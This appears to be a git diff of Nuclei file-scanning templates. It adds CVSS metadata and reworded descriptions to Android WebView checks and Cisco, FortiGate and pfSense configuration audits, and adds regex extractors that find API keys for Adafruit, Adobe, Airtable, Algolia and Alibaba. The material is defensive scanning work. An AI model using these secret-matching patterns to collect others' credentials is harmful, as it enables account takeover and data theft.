+    cvss-score: 5.3
+    cwe-id: CWE-200
   tags: android,file
 
 file:
@@ -13,4 +18,6 @@ file:
     matchers:
       - type: word
         words:
-          - ";->addJavascriptInterface(Ljava/lang/Object;Ljava/lang/String;)V"
+          - ";->addJavascriptInterface(Ljava/lang/Object;Ljava/lang/String;)V"
+
+# Enhanced by md on 2023/05/02

file/android/webview-javascript.yaml

@@ -1,9 +1,14 @@
 id: webview-javascript-enabled
 
 info:
-  name: Webview JavaScript enabled
+  name: WebView JavaScript - Detect
   author: gaurang
   severity: info
+  description: WebView Javascript enabling was detected.
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N
+    cvss-score: 0.0
+    cwe-id: CWE-200
   tags: android,file,javascript
 
 file:
@@ -14,3 +19,5 @@ file:
       - type: word
         words:
           - "Landroid/webkit/WebSettings;->setJavaScriptEnabled(Z)V"
+
+# Enhanced by md on 2023/05/03

file/android/webview-load-url.yaml

@@ -1,9 +1,14 @@
 id: webview-load-url
 
 info:
-  name: Webview loadUrl usage
+  name: WebView loadUrl - Detect
   author: gaurang
   severity: info
+  description: WebView loadUrl usage was detected.
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N
+    cvss-score: 0.0
+    cwe-id: CWE-200
   tags: android,file
 
 file:
@@ -13,4 +18,6 @@ file:
     matchers:
       - type: word
         words:
-          - "Landroid/webkit/WebView;->loadUrl(Ljava/lang/String;)V"
+          - "Landroid/webkit/WebView;->loadUrl(Ljava/lang/String;)V"
+
+# Enhanced by md on 2023/05/02

file/android/webview-universal-access.yaml

@@ -1,9 +1,14 @@
 id: webview-universal-access
 
 info:
-  name: Webview Universal Access enabled
+  name: Android WebView Universal Access - Detect
   author: gaurang
   severity: medium
+  description: Android WebView Universal Access enabling was detected.
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
+    cvss-score: 5.3
+    cwe-id: CWE-200
   tags: android,file
 
 file:
@@ -13,4 +18,6 @@ file:
     matchers:
       - type: word
         words:
-          - "Landroid/webkit/WebSettings;->setAllowUniversalAccessFromFileURLs(Z)V"
+          - "Landroid/webkit/WebSettings;->setAllowUniversalAccessFromFileURLs(Z)V"
+
+# Enhanced by md on 2023/05/03

file/audit/cisco/configure-aaa-service.yaml

@@ -1,14 +1,18 @@
 id: configure-aaa-service
 
 info:
-  name: Configure AAA service
+  name: Cisco AAA Service Configuration - Detect
   author: pussycat0x
   severity: info
   description: |
-      Authentication, authorization and accounting (AAA) services provide an authoritative source for managing and monitoring access for devices.
+      Cisco authentication, authorization and accounting service configuration was detected.
   reference:
     - https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/security/a1/sec-a1-cr-book/sec-cr-a2.html#GUID-E05C2E00-C01E-4053-9D12-EC37C7E8EEC5
-  tags: cisco,config-audit,cisco-switch,router
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N
+    cvss-score: 0.0
+    cwe-id: CWE-200
+  tags: cisco,config-audit,cisco-switch,file,router
 
 file:
   - extensions:
@@ -23,4 +27,6 @@ file:
 
       - type: word
         words:
-          - "configure terminal"
+          - "configure terminal"
+
+# Enhanced by md on 2023/05/02

file/audit/cisco/configure-service-timestamps-debug.yaml

@@ -1,14 +1,18 @@
 id: configure-service-timestamps-debug
 
 info:
-  name: Configure Service Timestamps for Debug
+  name: Cisco Configure Service Timestamps for Debug - Detect
   author: pussycat0x
   severity: info
   description: |
-      To configure the system to time-stamp debugging or logging messages, use one of the service timestamps global configuration commands. Use the no form of this command to disable this service.
+     The configuration for service timestamps on Cisco devices was not implemented for debugging purposes. It's important to note that timestamps can be added to either debugging or logging messages independently.
   reference:
     - https://www.cisco.com/E-Learning/bulk/public/tac/cim/cib/using_cisco_ios_software/cmdrefs/service_timestamps.htm
-  tags: cisco,config-audit,cisco-switch,router
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N
+    cvss-score: 0.0
+    cwe-id: CWE-200
+  tags: cisco,config-audit,cisco-switch,file,router
 
 file:
   - extensions:
@@ -23,4 +27,6 @@ file:
 
       - type: word
         words:
-          - "configure terminal"
+          - "configure terminal"
+
+# Enhanced by md on 2023/05/02

file/audit/cisco/configure-service-timestamps-logmessages.yaml

@@ -1,14 +1,18 @@
 id: configure-service-log-messages
 
 info:
-  name: Configure Service Timestamps Log Messages
+  name: Cisco Configure Service Timestamps Log Messages - Detect
   author: pussycat0x
   severity: info
   description: |
-      To configure the system to time-stamp debugging or logging messages, use one of the service timestamps global configuration commands. Use the no form of this command to disable this service.
+      Cisco service timestamp configuration for log messages was not implemented.
   reference:
     - https://www.cisco.com/E-Learning/bulk/public/tac/cim/cib/using_cisco_ios_software/cmdrefs/service_timestamps.htm
-  tags: cisco,config-audit,cisco-switch,router
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N
+    cvss-score: 0.0
+    cwe-id: CWE-200
+  tags: cisco,config-audit,cisco-switch,file,router
 
 file:
   - extensions:
@@ -23,4 +27,6 @@ file:
 
       - type: word
         words:
-          - "configure terminal"
+          - "configure terminal"
+
+# Enhanced by md on 2023/05/02

file/audit/cisco/disable-ip-source-route.yaml

@@ -1,14 +1,19 @@
 id: disable-ip-source-route
 
 info:
-  name: Disable IP source-route
+  name: Cisco Disable IP Source-Route - Detect
   author: pussycat0x
   severity: info
   description: |
-      Organizations should plan and implement network policies to ensure unnecessary services are explicitly disabled. The 'ip source-route' feature has been used in several attacks and should be disabled.
+      Cisco IP source-route functionality has been utilized in several attacks. An attacker can potentially obtain sensitive information, modify data, and/or execute unauthorized operations.
+  remediation: Disable IP source-route where appropriate.
   reference:
     - https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/ipaddr/command/ipaddr-cr-book/ipaddr-i4.html#GUID-C7F971DD-358F-4B43-9F3E-244F5D4A3A93
-  tags: cisco,config-audit,cisco-switch,router
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N
+    cvss-score: 0.0
+    cwe-id: CWE-200
+  tags: cisco,config-audit,cisco-switch,file,router
 
 file:
   - extensions:
@@ -23,4 +28,4 @@ file:
 
       - type: word
         words:
-          - "configure terminal"
+          - "configure terminal"

file/audit/cisco/disable-pad-service.yaml

@@ -1,14 +1,18 @@
 id: disable-pad-service
 
 info:
-  name: Disable PAD service
+  name: Cisco Disable PAD - Detect
   author: pussycat0x
   severity: info
   description: |
-      To reduce the risk of unauthorized access, organizations should implement a security policy restricting unnecessary services such as the 'PAD' service.
+      Cisco PAD service has proven vulnerable to attackers. To reduce the risk of unauthorized access, organizations should implement a security policy restricting or disabling unnecessary access.
   reference:
     - http://www.cisco.com/en/US/docs/ios-xml/ios/wan/command/wan-s1.html#GUID-C5497B77-3FD4-4D2F-AB08-1317D5F5473B
-  tags: cisco,config-audit,cisco-switch,router
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N
+    cvss-score: 0.0
+    cwe-id: CWE-200
+  tags: cisco,config-audit,cisco-switch,file,router
 
 file:
   - extensions:
@@ -23,4 +27,4 @@ file:
 
       - type: word
         words:
-          - "configure terminal"
+          - "configure terminal"

file/audit/cisco/enable-secret-for-password-user-and-.yaml

@@ -8,7 +8,7 @@ info:
       To configure the system to time-stamp debugging or logging messages, use one of the service timestamps global configuration commands. Use the no form of this command to disable this service.
   reference:
     - https://www.cisco.com/E-Learning/bulk/public/tac/cim/cib/using_cisco_ios_software/cmdrefs/service_timestamps.htm
-  tags: cisco,config-audit,cisco-switch,router
+  tags: cisco,config-audit,cisco-switch,file,router
 
 file:
   - extensions:
@@ -23,4 +23,4 @@ file:
 
       - type: word
         words:
-          - "configure terminal"
+          - "configure terminal"

file/audit/cisco/logging-enable.yaml

@@ -1,14 +1,18 @@
 id: logging-enable
 
 info:
-  name: Logging enable
+  name: Cisco Logging Enable - Detect
   author: pussycat0x
   severity: info
   description: |
-      Enabling the Cisco IOS 'logging enable' command enforces the monitoring of technology risks for the organizations' network devices.
+      Cisco logging 'logging enable' enable command enforces the monitoring of technology risks for organizations' network devices.
   reference:
     - https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/config-mgmt/configuration/xe-16-6/config-mgmt-xe-16-6-book/cm-config-logger.pdf
-  tags: cisco,config-audit,cisco-switch
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N
+    cvss-score: 0.0
+    cwe-id: CWE-200
+  tags: cisco,config-audit,cisco-switch,file
 
 file:
   - extensions:
@@ -23,4 +27,6 @@ file:
 
       - type: word
         words:
-          - "configure terminal"
+          - "configure terminal"
+
+# Enhanced by md on 2023/05/03

file/audit/cisco/set-and-secure-passwords.yaml

@@ -1,13 +1,17 @@
 id: set-and-secure-passwords
 
 info:
-  name: Set and secure passwords
+  name: Cisco Set and Secure Password - Detect
   author: pussycat0x
   severity: info
   description: |
-      To set a local password to control access to various privilege levels, use the enable password command in global configuration mode. To remove the password requirement, use the no form of this command.
+      Cisco set and secure password functionality is recommended to control privilege level access. To set a local password to control access to various privilege levels, use the enable password command in global configuration mode. To remove the password requirement, use the no form of this command.
   reference:
     - https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/security/d1/sec-d1-cr-book/sec-cr-e1.html#wp3884449514
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N
+    cvss-score: 0.0
+    cwe-id: CWE-200
   tags: cisco,config-audit,cisco-switch,file
 
 file:
@@ -24,3 +28,5 @@ file:
       - type: word
         words:
           - "configure terminal"
+
+# Enhanced by md on 2023/05/03

file/audit/fortigate/auto-usb-install.yaml

@@ -1,12 +1,16 @@
 id: auto-usb-install
 
 info:
-  name: Auto USB Installation Enabled
+  name: Fortinet Auto USB Installation Enabled - Detect
   author: pussycat0x
   severity: info
-  description: If USB installation is not disabled, an attacker with physical access to a FortiGate could load a new configuration or firmware using the USB port.
+  description: Via Fortinet Auto USB installation, an attacker with physical access to a FortiGate can load a new configuration or firmware using the USB port, thereby potentially being able to obtain sensitive information, modify data, and/or execute unauthorized operations.
   reference: https://docs.fortinet.com/document/fortigate/6.2.0/hardening-your-fortigate/582009/system-administrator-best-practices
-  tags: fortigate,config,audit,firewall
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N
+    cvss-score: 0.0
+    cwe-id: CWE-200
+  tags: audit,config,file,firewall,fortigate
 
 file:
   - extensions:
@@ -26,3 +30,5 @@ file:
           - "config router"
           - "config firewall"
         condition: or
+
+# Enhanced by md on 2023/05/03

file/audit/fortigate/heuristic-scan.yaml

@@ -1,12 +1,17 @@
 id: heuristic-scan
 
 info:
-  name: Heuristic scanning is not configured
+  name: Fortinet Heuristic Scanning not Configured - Detect
   author: pussycat0x
   severity: info
-  description: Heuristic scanning is a technique used to identify previously unknown viruses. A value of block enables heuristic AV scanning of binary files and blocks any detected. A replacement message will be forwarded to the recipient. Blocked files are quarantined if quarantine is enabled.
+  description: |
+    Fortinet heuristic scanning configuration is advised to thwart attacks. Heuristic scanning is a technique used to identify previously unknown viruses. A value of block enables heuristic AV scanning of binary files and blocks any detected. A replacement message is forwarded to the recipient, and blocked files are quarantined if quarantine is enabled.
   reference: https://docs.fortinet.com/document/fortigate/6.2.0/hardening-your-fortigate/582009/system-administrator-best-practices
-  tags: fortigate,config,audit,firewall
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N
+    cvss-score: 0.0
+    cwe-id: CWE-200
+  tags: audit,config,file,firewall,fortigate
 
 file:
   - extensions:
@@ -25,4 +30,6 @@ file:
           - "config system"
           - "config router"
           - "config firewall"
-        condition: or
+        condition: or
+
+# Enhanced by md on 2023/05/03

file/audit/fortigate/inactivity-timeout.yaml

@@ -1,12 +1,16 @@
 id: inactivity-timeout
 
 info:
-  name: Inactivity Timeout Not Implemented
+  name: Fortinet Inactivity Timeout Not Implemented - Detect
   author: pussycat0x
   severity: info
-  description: Lack of Inactivity Timeout gives the unauthorized user to act within that threshold if the administrator is away from the computer.
+  description: If Fortinet inactivity timeout functionality is disabled, an attacker can potentially obtain sensitive information, modify data, and/or execute unauthorized operations within that window if the administrator is away from the computer.
   reference: https://docs.fortinet.com/document/fortigate/6.2.0/hardening-your-fortigate/582009/system-administrator-best-practices
-  tags: fortigate,config,audit,firewall
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N
+    cvss-score: 0.0
+    cwe-id: CWE-200
+  tags: audit,config,file,firewall,fortigate
 
 file:
   - extensions:
@@ -24,4 +28,6 @@ file:
           - "config system"
           - "config router"
           - "config firewall"
-        condition: or
+        condition: or
+
+# Enhanced by md on 2023/05/03

file/audit/fortigate/maintainer-account.yaml

@@ -1,12 +1,16 @@
 id: maintainer-account
 
 info:
-  name: Maintainer Account Not Implemented
+  name: Fortinet Maintainer Account Not Implemented - Detect
   author: pussycat0x
   severity: info
-  description: If the FortiGate is compromised and Password is not recoverable. A maintainer account can be used by an administrator with physical access to log into CLI..
+  description: In Fortinet, if a FortiGate is compromised and the password is not recoverable, a maintainer account can be used by an administrator with physical access to log into CLI.
   reference: https://docs.fortinet.com/document/fortigate/6.4.0/hardening-your-fortigate/612504/hardening-your-fortigate
-  tags: fortigate,config,audit,firewall
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N
+    cvss-score: 0.0
+    cwe-id: CWE-200
+  tags: audit,config,file,firewall,fortigate
 
 file:
   - extensions:
@@ -24,4 +28,4 @@ file:
           - "config system"
           - "config router"
           - "config firewall"
-        condition: or
+        condition: or

file/audit/fortigate/password-policy.yaml

@@ -1,12 +1,16 @@
 id: password-policy
 
 info:
-  name: Password Policy not Set
+  name: Fortinet Password Policy Not Set - Detect
   author: pussycat0x
   severity: info
-  description: The Administrative Password Policy is not set. Use the password policy feature to ensure all administrators use secure passwords that meet your organization's requirements.
+  description: Fortinet administrative password policy is not set. Using this feature is recommended to ensure all administrators use secure passwords that meet organizations' requirements.
   reference: https://docs.fortinet.com/document/fortigate/6.2.0/hardening-your-fortigate/582009/system-administrator-best-practices
-  tags: fortigate,config,audit,firewall
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N
+    cvss-score: 0.0
+    cwe-id: CWE-200
+  tags: fortigate,config,audit,file,firewall
 
 file:
   - extensions:
@@ -24,4 +28,4 @@ file:
           - "config system"
           - "config router"
           - "config firewall"
-        condition: or
+        condition: or

file/audit/fortigate/remote-auth-timeout.yaml

@@ -1,12 +1,17 @@
 id: remote-auth-timeout
 
 info:
-  name: Remote Authentication timeout not set
+  name: Fortinet Remote Authentication Timeout Not Set - Detect
   author: pussycat0x
   severity: info
-  description: Lack of Inactivity Timeout gives the unauthorized user to act within that threshold if the administrator is away from the computer.
-  reference: https://docs.fortinet.com/document/fortigate/6.4.0/hardening-your-fortigate/612504/hardening-your-fortigate
-  tags: fortigate,config,audit,firewall
+  description: Fortinet remote authentication timeout functionality is recommended to be enabled. Lack of a set timeout can allow an attacker to act within that threshold if the administrator is away from the computer, thereby making it possible to obtain sensitive information, modify data, and/or execute unauthorized operations.
+  reference:
+    - https://docs.fortinet.com/document/fortigate/6.4.0/hardening-your-fortigate/612504/hardening-your-fortigate
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N
+    cvss-score: 0.0
+    cwe-id: CWE-200
+  tags: audit,config,file,firewall,fortigate
 
 file:
   - extensions:
@@ -24,4 +29,4 @@ file:
           - "config system"
           - "config router"
           - "config firewall"
-        condition: or
+        condition: or

file/audit/fortigate/scp-admin.yaml

@@ -1,12 +1,16 @@
 id: scp-admin
 
 info:
-  name: Admin-SCP Disabled
+  name: Fortinet Admin-SCP Disabled - Detect
   author: pussycat0x
   severity: info
-  description: Disable SCP by default. Enabling SCP allows downloading the configuration file from the FortiGate as an alternative method of backing up the configuration file.
+  description: Fortinet Admin-SCP functionality is recommended to be disabled by default. Enabling SCP allows download of the configuration file from the FortiGate as an alternative method of backing up the configuration file.
   reference: https://docs.fortinet.com/document/fortigate/6.4.0/hardening-your-fortigate/612504/hardening-your-fortigate
-  tags: fortigate,config,audit,firewall
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N
+    cvss-score: 0.0
+    cwe-id: CWE-200
+  tags: audit,config,file,firewall,fortigate
 
 file:
   - extensions:
@@ -24,4 +28,4 @@ file:
           - "config system"
           - "config router"
           - "config firewall"
-        condition: or
+        condition: or

file/audit/fortigate/strong-ciphers.yaml

@@ -6,7 +6,7 @@ info:
   severity: info
   description: Weak Ciphers can be broken by an attacker in a local network and can perform attacks like Blowfish.
   reference: https://docs.fortinet.com/document/fortigate/6.2.0/hardening-your-fortigate/582009/system-administrator-best-practices
-  tags: fortigate,config,audit,firewall
+  tags: audit,config,file,firewall,fortigate
 
 file:
   - extensions:
@@ -24,4 +24,4 @@ file:
           - "config system"
           - "config router"
           - "config firewall"
-        condition: or
+        condition: or

file/audit/pfsense/configure-dns-server.yaml

@@ -1,13 +1,17 @@
 id: configure-dns-server
 
 info:
-  name: Configure DNS Server
+  name: DNS Server Not Implemented - Detect
   author: pussycat0x
   severity: info
   description: |
-     The purpose DNs server is to perform the resolution of system hostnames to Internet Protocol (IP) addresses.
+    DNS is recommended to be configured over TLS. This prevents intermediate parties and potential attackers from viewing the content of DNS queries and can also assure that DNS is being provided by the expected DNS servers.
   reference: |
     https://docs.netgate.com/pfsense/en/latest/recipes/dns-over-tls.html
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N
+    cvss-score: 0.0
+    cwe-id: CWE-200
   metadata:
     verified: true
   tags: firewall,config,audit,pfsense,file
@@ -28,3 +32,5 @@ file:
           - "<pfsense>"
           - "<system>"
         condition: and
+
+# Enhanced by md on 2023/05/04

file/audit/pfsense/configure-session-timeout.yaml

@@ -1,13 +1,17 @@
 id: configure-session-timeout
 
 info:
-  name: Configure Sessions Timeout
+  name: PfSence Configure Sessions Timeout Not Set - Detect
   author: pussycat0x
   severity: info
   description: |
-    Indefinite or even long session timeout window increase the risk of attackers abusing abandoned sessions.
+    Configure sessions timeout is recommended to be enabled. An indefinite or even long session timeout window can increase the risk of an attacker abusing abandoned sessions and potentially being able to obtain sensitive information, modify data, and/or execute unauthorized operations.
   reference: |
     https://docs.netgate.com/pfsense/en/latest/config/advanced-admin.html
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N
+    cvss-score: 0.0
+    cwe-id: CWE-200
   metadata:
     verified: true
   tags: firewall,config,audit,pfsense,file
@@ -31,3 +35,5 @@ file:
           - "<webgui>"
           - "<system>"
         condition: and
+
+# Enhanced by md on 2023/05/04

file/audit/pfsense/enable-https-protocol.yaml

@@ -1,14 +1,17 @@
 id: enable-https-protocol
 
 info:
-  name: Enable HTTPS on Web Management
+  name: Pfsence Web Admin Management Portal HTTPS Not Set   - Detect
   author: pussycat0x
   severity: info
   description: |
-    Web Admin Management Portal should only be accessed using HTTPS Protocol.HTTP transmits all data (including passwords) in clear text over the network and
-    provides no assurance of the identity of the hosts involved.
+    PfSence Web Admin Management Portal is recommended to be accessible using only HTTPS protocol. HTTP transmits all data, including passwords, in clear text over the network and provides no assurance of the identity of the hosts involved, making it possible for an attacker to obtain sensitive information, modify data, and/or execute unauthorized operations.
   reference: |
     https://docs.netgate.com/pfsense/en/latest/config/advanced-admin.html
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N
+    cvss-score: 0.0
+    cwe-id: CWE-200
   metadata:
     verified: true
   tags: firewall,config,audit,pfsense,file
@@ -31,3 +34,5 @@ file:
           - "<pfsense>"
           - "<system>"
         condition: and
+
+# Enhanced by md on 2023/05/04

file/audit/pfsense/known-default-account.yaml

@@ -1,17 +1,18 @@
 id: known-default-account
 
 info:
-  name: Known Default Account - Detect
+  name: PfSence Known Default Account - Detect
   author: pussycat0x
   severity: info
   description: |
-    In order to attempt access to known devices' platforms, attackers use the available database of the known default accounts for each platform or Operating System.
-    The known default accounts are often (without limiting to) the following: 'admin'.
+    PfSence configured known default accounts are recommended to be deleted. In order to attempt access to known devices' platforms, an attacker can use the available database of the known default accounts for each platform or operating system. Known default accounts are often, but not limited to, 'admin'.
   reference: |
     - https://docs.netgate.com/pfsense/en/latest/usermanager/defaults.html
-  remediation: |
-    Deletes the known default accounts configured.
-  tags: firewall,config,audit,pfsense
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N
+    cvss-score: 0.0
+    cwe-id: CWE-200
+  tags: audit,config,file,firewall,pfsense
 
 file:
   - extensions:
@@ -25,3 +26,5 @@ file:
           - "<descr><![CDATA[System Administrator]]></descr>"
           - "<priv>user-shell-access</priv>"
         condition: and
+
+# Enhanced by md on 2023/05/04

file/audit/pfsense/password-protected-consolemenu.yaml

@@ -1,13 +1,17 @@
 id: password-protected-consolemenu
 
 info:
-  name: Configure Password Protected on Console Menu
+  name: PfSence Consolemenu Password Protection Not Implememnted - Detect
   author: pussycat0x
   severity: info
   description: |
-    An unattended computer with an open Console Menu session to the device could allow an unauthorized user access to the firewall’s management.
+    PfSence password protection via the Console Menu is recommended to be configured. An unattended computer with an open Console Menu session can allow an unauthorized user access to the firewall management.
   reference: |
     https://docs.netgate.com/pfsense/en/latest/config/advanced-admin.html
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N
+    cvss-score: 0.0
+    cwe-id: CWE-200
   metadata:
     verified: true
   tags: firewall,config,audit,pfsense,file
@@ -31,3 +35,5 @@ file:
           - "<webgui>"
           - "<system>"
         condition: and
+
+# Enhanced by md on 2023/05/04

file/audit/pfsense/set-hostname.yaml

@@ -1,14 +1,17 @@
 id: set-hostname
 
 info:
-  name: Ensure Hostname is Set
+  name: PfSence Hostname Not Set - Detect
   author: pussycat0x
   severity: info
   description: |
-    Ensure Hostname is set is a process that helps to ensure that the computer or device is being identified correctly on a network.
-    The hostname is a unique identifier for the device, and it is important that it is properly set so that other devices on the network can identify it.
+    PfSence Hostname should be set so that other devices on the network can correctly identify it. The hostname is a unique identifier for the device.
   reference: |
     https://docs.netgate.com/pfsense/en/latest/config/general.html
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N
+    cvss-score: 0.0
+    cwe-id: CWE-200
   tags: firewall,config,audit,pfsense,file
 
 file:
@@ -23,3 +26,5 @@ file:
           - "<hostname></hostname>"
           - "domain>"
         condition: and
+
+# Enhanced by md on 2023/05/04

file/bash/bash-scanner.yaml

@@ -8,7 +8,7 @@ info:
   reference:
     - https://www.tecmint.com/10-most-dangerous-commands-you-should-never-execute-on-linux/
     - https://phoenixnap.com/kb/dangerous-linux-terminal-commands
-  tags: bash,shell,sh
+  tags: bash,file,shell,sh
 
 file:
   - extensions:

file/electron/electron-version-detect.yaml

@@ -1,11 +1,15 @@
 id: electron-version-detect
 
 info:
-  name: Electron Version Detect
+  name: Electron Version - Detect
   author: me9187
   severity: info
   reference:
     - https://www.electronjs.org/blog/chromium-rce-vulnerability/
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N
+    cvss-score: 0.0
+    cwe-id: CWE-200
   tags: electron,file
 
 file:

file/electron/node-integration-enabled.yaml

@@ -19,6 +19,4 @@ file:
 
       - type: word
         words:
-          - "nodeIntegration: true"
-
-# Enhanced by mp on 2022/05/19
+          - "nodeIntegration: true"

file/js/js-analyse.yaml

@@ -7,7 +7,7 @@ info:
   description: |
     This process involves extracting tokens, endpoints, URIs, and variable names from the JS file and analyzing them for any potential weaknesses that could be exploited. By extracting and analyzing these elements, potential security threats can be identified, allowing for proactive measures to be taken to mitigate any risks associated with the application. This process can be used as part of a comprehensive bug-hunting strategy to ensure the security of an application.
   metadata:
-    verified: "true"
+    verified: true
   tags: file,js-analyse,js,javascript
 
 file:

file/keys/adafruit-key.yaml

@@ -0,0 +1,22 @@
+id: adafruit-key
+
+info:
+  name: Adafruit API Key
+  author: DhiyaneshDK
+  severity: info
+  reference:
+    - https://github.com/returntocorp/semgrep-rules/blob/develop/generic/secrets/gitleaks/adafruit-api-key.yaml
+    - https://github.com/returntocorp/semgrep-rules/blob/develop/generic/secrets/gitleaks/adafruit-api-key.go
+  metadata:
+    verified: true
+  tags: adafruit,file,keys
+
+file:
+  - extensions:
+      - all
+
+    extractors:
+      - type: regex
+        part: body
+        regex:
+          - (?i)(?:adafruit)(?:[0-9a-z\-_\t .]{0,20})(?:[\s|']|[\s|"]){0,3}(?:=|>|:=|\|\|:|<=|=>|:)(?:'|\"|\s|=|\x60){0,5}([a-z0-9_-]{32})(?:['|\"|\n|\r|\s|\x60|;]|$)

file/keys/adobe/adobe-client.yaml

@@ -0,0 +1,22 @@
+id: adobe-client
+
+info:
+  name: Adobe Client ID
+  author: DhiyaneshDK
+  severity: info
+  reference:
+    - https://github.com/returntocorp/semgrep-rules/blob/develop/generic/secrets/gitleaks/adobe-client-id.yaml
+    - https://github.com/returntocorp/semgrep-rules/blob/develop/generic/secrets/gitleaks/adobe-client-id.go
+  metadata:
+    verified: true
+  tags: adobe,file,token
+
+file:
+  - extensions:
+      - all
+
+    extractors:
+      - type: regex
+        part: body
+        regex:
+          - (?i)(?:adobe)(?:[0-9a-z\-_\t .]{0,20})(?:[\s|']|[\s|"]){0,3}(?:=|>|:=|\|\|:|<=|=>|:)(?:'|\"|\s|=|\x60){0,5}([a-f0-9]{32})(?:['|\"|\n|\r|\s|\x60|;]|$)

file/keys/adobe/adobe-secret.yaml

@@ -10,7 +10,7 @@ info:
     - https://developer.adobe.com/developer-console/docs/guides/authentication/OAuthIntegration/
     - https://developer.adobe.com/developer-console/docs/guides/authentication/OAuth/
   metadata:
-    verified: "true"
+    verified: true
   tags: adobe,oauth,file,token
 
 file:

file/keys/age/age-identity-secret-key.yaml

@@ -9,7 +9,7 @@ info:
     - https://github.com/FiloSottile/age/blob/main/doc/age.1.html
     - https://github.com/C2SP/C2SP/blob/8b6a842e0360d35111c46be2a8019b2276295914/age.md#the-x25519-recipient-type
   metadata:
-    verified: "true"
+    verified: true
   tags: age-encryption,file,token
 
 file:

file/keys/age/age-recipient-public-key.yaml

@@ -9,7 +9,7 @@ info:
     - https://github.com/FiloSottile/age/blob/main/doc/age.1.html
     - https://github.com/C2SP/C2SP/blob/8b6a842e0360d35111c46be2a8019b2276295914/age.md#the-x25519-recipient-type
   metadata:
-    verified: "true"
+    verified: true
   tags: age-encryption,file,token
 
 file:

file/keys/airtable-key.yaml

@@ -0,0 +1,22 @@
+id: airtable-key
+
+info:
+  name: Airtable API Key
+  author: DhiyaneshDK
+  severity: info
+  reference:
+    - https://github.com/returntocorp/semgrep-rules/blob/develop/generic/secrets/gitleaks/airtable-api-key.yaml
+    - https://github.com/returntocorp/semgrep-rules/blob/develop/generic/secrets/gitleaks/airtable-api-key.go
+  metadata:
+    verified: true
+  tags: airtable,file,token
+
+file:
+  - extensions:
+      - all
+
+    extractors:
+      - type: regex
+        part: body
+        regex:
+          - (?i)(?:airtable)(?:[0-9a-z\-_\t .]{0,20})(?:[\s|']|[\s|"]){0,3}(?:=|>|:=|\|\|:|<=|=>|:)(?:'|\"|\s|=|\x60){0,5}([a-z0-9]{17})(?:['|\"|\n|\r|\s|\x60|;]|$)

file/keys/algolia-key.yaml

@@ -0,0 +1,22 @@
+id: algolia-key
+
+info:
+  name: Algolia API Key
+  author: DhiyaneshDK
+  severity: info
+  reference:
+    - https://github.com/returntocorp/semgrep-rules/blob/develop/generic/secrets/gitleaks/algolia-api-key.yaml
+    - https://github.com/returntocorp/semgrep-rules/blob/develop/generic/secrets/gitleaks/algolia-api-key.go
+  metadata:
+    verified: true
+  tags: algolia,file,keys
+
+file:
+  - extensions:
+      - all
+
+    extractors:
+      - type: regex
+        part: body
+        regex:
+          - (?i)(?:algolia)(?:[0-9a-z\-_\t .]{0,20})(?:[\s|']|[\s|"]){0,3}(?:=|>|:=|\|\|:|<=|=>|:)(?:'|\"|\s|=|\x60){0,5}([a-z0-9]{32})(?:['|\"|\n|\r|\s|\x60|;]|$)

file/keys/alibaba/alibaba-key-id.yaml

@@ -0,0 +1,22 @@
+id: alibaba-key-id
+
+info:
+  name: Alibaba Access Key ID
+  author: DhiyaneshDK
+  severity: info
+  reference:
+    - https://github.com/returntocorp/semgrep-rules/blob/develop/generic/secrets/gitleaks/alibaba-access-key-id.yaml
+    - https://github.com/returntocorp/semgrep-rules/blob/develop/generic/secrets/gitleaks/alibaba-access-key-id.go
+  metadata:
+    verified: true
+  tags: alibaba,access,file,keys
+
+file:
+  - extensions:
+      - all
+
+    extractors:
+      - type: regex
+        part: body
+        regex:
